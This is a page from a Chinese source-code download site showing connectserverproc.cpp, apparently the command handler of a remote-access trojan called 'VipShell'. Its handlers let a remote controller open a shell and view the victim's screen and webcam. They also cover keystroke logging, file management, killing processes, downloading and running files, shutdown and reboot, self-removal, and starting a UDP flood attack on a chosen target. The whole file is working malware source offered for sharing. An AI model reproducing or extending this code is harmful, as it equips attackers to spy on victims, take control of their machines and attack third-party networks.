⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 connectserverproc.cpp

📁 软件源代码,共享。有2个文件
💻 CPP
字号:
#include ".\connectserverproc.h"
#include "tools.h"

#include "DDOSUdpFlood.h"

#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "kernel32.lib")
#include <winsock2.h>
#include <stdlib.h>
#include <tlhelp32.h>
#include <Ws2tcpip.h>
#include <time.h>
#include <string.h>
#include <aclapi.h>
#include <winerror.h>
#include <atlbase.h>



CConnectServerProc::CConnectServerProc(void)
{
	m_pSysinfo = NULL;
}
CConnectServerProc::~CConnectServerProc(void)
{
}


void CConnectServerProc::OnCmd_GetDoWork(tagVipShellCmd* info)
{
	tagVipShellCmd SendInfo;
	SendInfo.dwCmd = 0; 
	memcpy(SendInfo.pBuff, m_pSysinfo, sizeof(tagServerSystemInfo));
	m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
}
void CConnectServerProc::SetServerSystemInfo(tagServerSystemInfo* p)
{
	m_pSysinfo = p;
}
void CConnectServerProc::OnCmd_GetSystemInfo(tagVipShellCmd* info)
{
	return OnCmd_GetDoWork(info);
	tagVipShellCmd SendInfo;
	SendInfo.dwCmd = 0; 
	memcpy(SendInfo.pBuff, m_pSysinfo, sizeof(tagServerSystemInfo));
	m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
}
void CConnectServerProc::OnCmd_GetShell(tagVipShellCmd* info)
{
	ULONG ip;
	USHORT port;
	m_hServer->GetPeer(&ip, &port);
	m_hServerManage->ConnectServerEx(ip, port, CREATE_THREAD_MARKER_SHELLCOMMAND);
	return OnCmd_GetDoWork(info);
}
void CConnectServerProc::OnCmd_GetScreen(tagVipShellCmd* info)
{
	ULONG ip;
	USHORT port;
	m_hServer->GetPeer(&ip, &port);
	srand(GetTickCount());
	DWORD dwId = rand();
	tagVipShellCmd SendInfo;
	SendInfo.dwCmd = SHELL_CMD_ISOK; 
	SendInfo.dw1 = dwId;
	memcpy(SendInfo.pBuff, m_pSysinfo, sizeof(tagServerSystemInfo));
	int nRet = m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
	if(nRet == SOCKET_ERROR)
		return ;
	m_hServerManage->ConnectServerEx(ip, port, CREATE_THREAD_MARKER_SCREENINFO, dwId);
}

void CConnectServerProc::OnKeyDownd(tagVipShellCmd* info)
{
	COpenDesktop hDesktop;
	keybd_event((BYTE)info->dw1,0,0,0);
	tagVipShellCmd SendInfo;
	SendInfo.dwCmd = SHELL_CMD_ISOK; 
	memcpy(SendInfo.pBuff, m_pSysinfo, sizeof(tagServerSystemInfo));
	m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
}
void CConnectServerProc::OnKeyUp(tagVipShellCmd* info)
{
	COpenDesktop hDesktop;
	keybd_event((BYTE)info->dw1,0,KEYEVENTF_KEYUP,0);
	tagVipShellCmd SendInfo;
	SendInfo.dwCmd = SHELL_CMD_ISOK; 
	memcpy(SendInfo.pBuff, m_pSysinfo, sizeof(tagServerSystemInfo));
	m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
}
void CConnectServerProc::OnMouseMove(tagVipShellCmd* info)
{
	COpenDesktop hDesktop;
	SetCursorPos(info->dw1, info->dw2);
	tagVipShellCmd SendInfo;
	SendInfo.dwCmd = SHELL_CMD_ISOK; 
	memcpy(SendInfo.pBuff, m_pSysinfo, sizeof(tagServerSystemInfo));
	m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
}
void CConnectServerProc::OnLButtonDown(tagVipShellCmd* info)
{
	COpenDesktop hDesktop;
	mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
	tagVipShellCmd SendInfo;
	SendInfo.dwCmd = SHELL_CMD_ISOK; 
	memcpy(SendInfo.pBuff, m_pSysinfo, sizeof(tagServerSystemInfo));
	m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
}
void CConnectServerProc::OnLButtonUp(tagVipShellCmd* info)
{
	COpenDesktop hDesktop;
	mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
	tagVipShellCmd SendInfo;
	SendInfo.dwCmd = SHELL_CMD_ISOK; 
	memcpy(SendInfo.pBuff, m_pSysinfo, sizeof(tagServerSystemInfo));
	m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
}
void CConnectServerProc::OnLButtonDblclk(tagVipShellCmd* info)
{
	COpenDesktop hDesktop;
	mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
	mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
	mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
	mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
	tagVipShellCmd SendInfo;
	SendInfo.dwCmd = SHELL_CMD_ISOK; 
	memcpy(SendInfo.pBuff, m_pSysinfo, sizeof(tagServerSystemInfo));
	m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
}
void CConnectServerProc::OnRButtonDown(tagVipShellCmd* info)
{
	COpenDesktop hDesktop;
	mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
	tagVipShellCmd SendInfo;
	SendInfo.dwCmd = SHELL_CMD_ISOK; 
	memcpy(SendInfo.pBuff, m_pSysinfo, sizeof(tagServerSystemInfo));
	m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
}
void CConnectServerProc::OnRButtonUp(tagVipShellCmd* info)
{
	COpenDesktop hDesktop;
	mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
	tagVipShellCmd SendInfo;
	SendInfo.dwCmd = SHELL_CMD_ISOK; 
	memcpy(SendInfo.pBuff, m_pSysinfo, sizeof(tagServerSystemInfo));
	m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
}
void CConnectServerProc::OnRButtonDblclk(tagVipShellCmd* info)
{
	COpenDesktop hDesktop;
	mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
	mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
	mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
	mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
	tagVipShellCmd SendInfo;
	SendInfo.dwCmd = SHELL_CMD_ISOK; 
	memcpy(SendInfo.pBuff, m_pSysinfo, sizeof(tagServerSystemInfo));
	m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
}
void CConnectServerProc::OnKeyCtrlAltDel(tagVipShellCmd* info)
{
	KeyDownCtrlAltDel();
	tagVipShellCmd SendInfo;
	SendInfo.dwCmd = SHELL_CMD_ISOK; 
	memcpy(SendInfo.pBuff, m_pSysinfo, sizeof(tagServerSystemInfo));
	m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
}

void CConnectServerProc::OnGetCap(tagVipShellCmd* info)
{

	tagVipShellCmd SendInfo;
	HWND hwnd = FindCapWnd();
	if(hwnd)
		SendInfo.dwCmd = SHELL_CMD_ERROR; 
	else
	{
		if(!IsCanCap())
			SendInfo.dwCmd = SHELL_CMD_ERROR; 
		else
		{
			ULONG ip;
			USHORT port;
			m_hServer->GetPeer(&ip, &port);
			m_hServerManage->ConnectServerEx(ip, port, CREATE_THREAD_MARKER_GETCAP);
			SendInfo.dwCmd = SHELL_CMD_ISOK; 
		}

	}
	memcpy(SendInfo.pBuff, m_pSysinfo, sizeof(tagServerSystemInfo));
	m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
	return ;
}

void CConnectServerProc::OnCmd_GetFileManage(tagVipShellCmd* info)
{
	ULONG ip;
	USHORT port;
	m_hServer->GetPeer(&ip, &port);
	m_hServerManage->ConnectServerEx(ip, port, CREATE_THREAD_MARKER_FILEMANAGE);
	return OnCmd_GetDoWork(info);
}
void CConnectServerProc::OnCmd_GetKeyLog(tagVipShellCmd* info)
{
	ULONG ip;
	USHORT port;
	m_hServer->GetPeer(&ip, &port);
	m_hServerManage->ConnectServerEx(ip, port, CREATE_THREAD_MARKER_GETKEYLOG);
	return OnCmd_GetDoWork(info);
}
void CConnectServerProc::OnCmd_GetProcessList(tagVipShellCmd* info)
{
	std::vector<tagVipShellProcess> VecTor;
	DWORD dwLen = GetProcessToVecTor(&VecTor);
	tagVipShellCmd SendInfo;
	if(dwLen == 0)
		SendInfo.dwCmd = SHELL_CMD_ERROR;
	else
		SendInfo.dwCmd = SHELL_CMD_ISOK; 
	SendInfo.dw1 = dwLen;
	int nRet = m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
	if(nRet == SOCKET_ERROR)
		return ;
	if(dwLen == 0)
		return ;
	nRet = m_hServer->Recv(&SendInfo, sizeof(tagVipShellCmd));
	if(nRet == SOCKET_ERROR)
		return ;
	BYTE* pBuf = new BYTE[dwLen * sizeof(tagVipShellProcess)];
	for(DWORD i = 0; i < VecTor.size(); i++)
		memcpy(pBuf + (i * sizeof(tagVipShellProcess)), &VecTor[i], sizeof(tagVipShellProcess));
	nRet = _SendBuffData(pBuf,  dwLen * sizeof(tagVipShellProcess));
	delete pBuf ;
	return ;
}
void CConnectServerProc::OnCmd_KillProcess(tagVipShellCmd* info)
{
	BOOL bRet = KillProcess(info->dw1);
	tagVipShellCmd SendInfo;
	SendInfo.dwCmd = SHELL_CMD_ISOK;
	if(bRet)
		SendInfo.dw1 = SHELL_CMD_ISOK;
	else
		SendInfo.dw1 = SHELL_CMD_ERROR;
	 m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
}

void CConnectServerProc::OnCmd_DownFileRun(tagVipShellCmd* info)
{
	tagVipShellCmd SendInfo;
	SendInfo.dwCmd = SHELL_CMD_ISOK; 
	memcpy(SendInfo.pBuff, m_pSysinfo, sizeof(tagServerSystemInfo));
	m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
	CreateThreadDownFile((LPCWSTR)info->pBuff);
}
void CConnectServerProc::OnCmd_SaveConfig(tagVipShellCmd* info)
{
	//szExplain
	tagVipShellCmd SendInfo;
	SendInfo.dwCmd = SHELL_CMD_ISOK; 
	if( info->dw1 == 1)
	{
		//SetVipShellConfigExplain((LPCWSTR)info->pBuff);
		SetMyExplain((LPCWSTR)info->pBuff);
		lstrcpy(m_pSysinfo->szExplain, (LPCWSTR)info->pBuff);
	}
	memcpy(SendInfo.pBuff, m_pSysinfo, sizeof(tagServerSystemInfo));
	m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
}

void CConnectServerProc::OnCmd_Shutdown(tagVipShellCmd* info)
{
	COpenDesktop hDesktop;

	ShutDownSystem(TRUE);//关闭机器

	tagVipShellCmd SendInfo;
	SendInfo.dwCmd = SHELL_CMD_ISOK; 
	m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
}

void CConnectServerProc::OnCmd_Reboot(tagVipShellCmd* info)
{
	COpenDesktop hDesktop;

	ShutDownSystem(FALSE);//重启机器

	tagVipShellCmd SendInfo;
	SendInfo.dwCmd = SHELL_CMD_ISOK; 
	m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
}

void CConnectServerProc::OnCmd_RemoveServer(tagVipShellCmd* info)
{
	COpenDesktop hDesktop;
////////////////Remove code here!!!
	CreateThread(NULL,0,RemoveServer,0,0,0);//创建线程,RemoveServer

	tagVipShellCmd SendInfo;
	SendInfo.dwCmd = SHELL_CMD_ISOK; 
	m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
}

void CConnectServerProc::OnCmd_DDOSUdpFlood(tagVipShellCmd* info)
{
	//UDP洪水攻击
	tagVipShellCmd SendInfo;
	SendInfo.dwCmd = SHELL_CMD_ISOK;
	if( info->dw1 == 0)//dw1 = 0 表示开启, = 1 表示关闭
	{
		CreateDDOSUdpFloodThread( (LPCWSTR)info->pBuff, info->dw2, info->dw3, info->dw4, info->dw5 );
	}else
	if( info->dw1 == 1)//dw1 = 0 表示开启, = 1 表示关闭
	{
		TerminateDDOSUdpFloodThread();
	}
	m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
}

void CConnectServerProc::OnCmd_QueryProcess(tagVipShellCmd* info)
{
	//根据进程筛选,查询进程
	tagVipShellCmd SendInfo;
	SendInfo.dwCmd = SHELL_CMD_ISOK;

	if( QueryProcessByName((LPCWSTR)info->pBuff) )
	{
		SendInfo.dw1 = 0;//dw = 0 表示找到进程
	}
	else
	{
		SendInfo.dw1 = 1;
	}

	m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
}

void CConnectServerProc::OnCmd_QueryWindow(tagVipShellCmd* info)
{
	//根据窗口筛选,查询窗口
	tagVipShellCmd SendInfo;
	SendInfo.dwCmd = SHELL_CMD_ISOK;

	if( QueryWindowByName((LPCWSTR)info->pBuff) )
	{
		SendInfo.dw1 = 0;//dw = 0 表示找到窗口
	}
	else
	{
		SendInfo.dw1 = 1;
	}

	m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -